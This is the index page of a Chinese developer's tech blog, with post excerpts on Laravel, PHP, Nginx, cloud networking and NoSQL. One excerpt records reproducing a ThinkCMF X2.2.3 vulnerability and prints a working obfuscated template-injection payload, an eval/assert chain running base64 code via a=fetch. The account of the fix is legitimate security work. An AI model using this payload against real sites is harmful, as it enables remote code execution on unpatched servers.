Peak Xin

小峰的博客


  • 首页

  • 标签

  • 分类

  • 归档

  • 优秀资源

  • 搜索

通过PHP语言解读什么是容器、依赖注入和控制反转

发表于 2024-07-12 | 分类于 设计模式 |
字数统计: 6.4k | 阅读时长 ≈ 23

名词解释:

  • IoC:Inversion of Control(控制反转)
  • DI:Dependency Injection(依赖注入)
  • 容器:Container

Laravel框架可能是PHP开发者最常用的框架之一,它的核心就是一个IoC容器,根据文档称其为服务容器,顾名思义该容器提供了整个框架中需要的一系列服务。作为初学者很多人会在这一个概念上犯难,因此我们可以从一些基础的内容开始讲解,通过理解面向对象开发中依赖的生产和解决方法,来逐步揭开“依赖注入”的面纱,逐渐理解这一神奇的设计理念。

阅读全文 »

Web开发中的网络安全: 常见攻击及防范策略

发表于 2024-04-26 | 分类于 网络安全 |
字数统计: 2.1k | 阅读时长 ≈ 7

在Web开发的世界里,网络攻击是一种常见且潜在的威胁。理解这些攻击如何运作并采取措施防范它们对于构建安全的Web应用至关重要。本文将介绍几种常见的Web攻击,提供防范策略,并以实例说明如何防止这些攻击。

阅读全文 »

相同地域云服务器间内网通信配置

发表于 2024-04-08 | 分类于 运维实战 |
字数统计: 625 | 阅读时长 ≈ 2

我们以阿里云云服务器为例,实现相同地域两台服务器间内网链接MySQL数据库。

服务器A:内网IP:10.10.10.100,并搭建MySQL数据库。
服务器B:内网IP:10.10.10.101。

如果两台服务器网络是专有网络,则需要保证这两台服务器在同一个专有网络下,否则两台服务器无法互相访问,下面我们以在同一个专有网络为例。

服务器间ping测试

先登录服务器B命令行执行ping命令,查看是否可以访问服务器A

1
2
3
4
5
# ping 10.10.10.100 -c 3
PING 10.25.0.70 (10.10.10.100) 56(84) bytes of data.
64 bytes from 10.10.10.100: icmp_seq=1 ttl=64 time=2.74 ms
64 bytes from 10.10.10.100: icmp_seq=2 ttl=64 time=2.66 ms
64 bytes from 10.10.10.100: icmp_seq=3 ttl=64 time=2.66 ms

如果访问失败,再次查看两台服务器网络环境是否一致。

配置服务器安全组

登录阿里云平台,在服务器所在的安全组配置访问规则

阅读全文 »

如何安装PHP扩展

发表于 2023-07-12 | 分类于 后端开发 , PHP |
字数统计: 706 | 阅读时长 ≈ 2

PECL(PHP Extension Community Library)是 PHP 的扩展库,它提供了一些 PHP 扩展,可以增强 PHP 的功能。所有扩展包列表查询地址:https://pecl.php.net/package-stats.php

Window 上安装PHP扩展

在PECL上找到所需要的PHP扩展,点击有DLL标识的链接地址,进行对应PHP版本的资源下载,但是你需要注意以下几点问题:

  • VC6 是运行于 Apache 服务器;
  • Thread safe(线程安全)是以模块形式运行在 Apache 上,如果你以 CGI 的模式运行 PHP,请选择非线程安全模式(non-thread safe);
  • VC9 是运行于 IIS 服务器上;
  • 下载完你需要的二进制包后,解压压缩包,将 php_mongodb.dll 文件添加到你的PHP扩展目录中(ext)。ext 目录通常在 PHP 安装目录下的 ext 目录。

打开 php 配置文件 php.ini 添加以下配置:

阅读全文 »

Redis、Memcached和MongoDB的区别和应用场景

发表于 2023-07-06 | 分类于 数据库 , NoSQL |
字数统计: 473 | 阅读时长 ≈ 1

Redis、Memcached和MongoDB是三种常用的NoSQL数据库,它们各自有着不同的特点和应用场景。

Redis

Redis是一种基于内存的数据结构存储系统,它支持多种数据结构,包括字符串(String)、哈希表(Dict)、列表(List)、集合(Set)、有序集合(sorted set)和基数估算(HyperLogLog)。

Redis的主要特点是速度快,支持高并发读写操作,并且可以持久化数据。

阅读全文 »

在微信实现链接的分享

发表于 2023-05-18 | 分类于 微信开发 , 微信公众号 |
字数统计: 632 | 阅读时长 ≈ 2

微信分享会使用到微信JS-SDK,所以需要再微信公众号后台配置JS接口安全域名

微信官方关于分享接口开发文档

实现代码如下:

阅读全文 »

记录 ThinkCMF 框架 X2.2.3 版本漏洞发现与解决

发表于 2023-03-23 | 分类于 网络安全 |
字数统计: 467 | 阅读时长 ≈ 1

接到网警通知,说网站有安全漏洞,根据网警提供的检测报告,经过各种尝试,终于复现了,现在记录这一激动人心的时刻

网站是基于ThinkCMF框架搭建的,查看版本是X2.2.3,根据网警提供的检测报告在postman工具上操作复现漏洞情况

  • 使用POST方式请求首页链接地址
  • 使用form-data提交参数
  • 参数content=<php>die(assert('ev'.'a'.'l("'.'e'.'va'.'l(bas'.'e64_de'.'code(\"cGhwaW5mbygpOw==\"));;return 1;")'))</php>
  • 参数a=fetch

点击发送,看看结果,意不意外惊不惊喜!

阅读全文 »

Laravel 模型关联查询已物理删除的数据设置默认值

发表于 2023-03-16 | 分类于 PHP框架 , Laravel |
字数统计: 271 | 阅读时长 ≈ 1

在使用Laravel模型关联数据时,会遇到关联查询到的数据已被删除,会导致查询结果为null

1
2
3
4
5
.......
"created_at": "2023-02-15 16:01:40",
"updated_at": "2023-02-15 16:03:22",
"category": null,
.......

如果想要保证查询结果不会出现null,可以使用 Laravel 的「Eloquent」 ORM 中的「withDefault」方法来设置默认值。例如:

阅读全文 »

Laravel安装laravel-wechat实现微信授权登录

发表于 2023-02-22 | 分类于 PHP框架 , Laravel |
字数统计: 273 | 阅读时长 ≈ 1

使用composer安装laravel-wechat

1
composer require "overtrue/laravel-wechat"

如果需要安装指定版本

  1. 安装不超过4.0的版本最新版本
1
composer require "overtrue/laravel-wechat:~4.0"
  1. 安装不超过4的版本最新版本
1
composer require "overtrue/laravel-wechat:^4.0"
阅读全文 »

Nginx配置location语法规则

发表于 2023-01-28 | 分类于 服务器 , Nginx |
字数统计: 1.7k | 阅读时长 ≈ 6

语法规则

基本语法:

1
2
3
location [=|~|~*|^~|@] /uri/ {
...
}

修饰符释义:

修饰符 释义
= 表示精确匹配后面的url
~ 表示正则匹配,但是区分大小写
~* 表示正则匹配,不区分大小写
^~ 表示普通字符匹配,如果该选项匹配,只匹配该选项,不匹配别的选项,一般用来匹配目录
@ “@” 定义一个命名的 location,使用在内部定向时,例如 error_page
/ 通用匹配,任何请求都会匹配到

上述匹配规则的优先匹配顺序:

阅读全文 »
123…21
Peak Xin

Peak Xin

Always keep a learning heart.

203 日志
42 分类
118 标签
RSS
GitHub E-Mail Twitter StackOverflow GitLab Travis Gitee SegmentFault CSDN
推荐网址
  • 阮一峰的个人网站
  • 廖雪峰的官方网站
  • 韩天峰(Rango)的博客
© 2026 Peak Xin 鲁ICP备15013472号-3
由 Hexo 强力驱动
|
主题 — NexT.Mist v5.1.4
本博客 由 Peak Xin 采用 知识共享 署名 4.0 国际 许可协议进行许可。
站点总访客数: 站点总访问量:
0%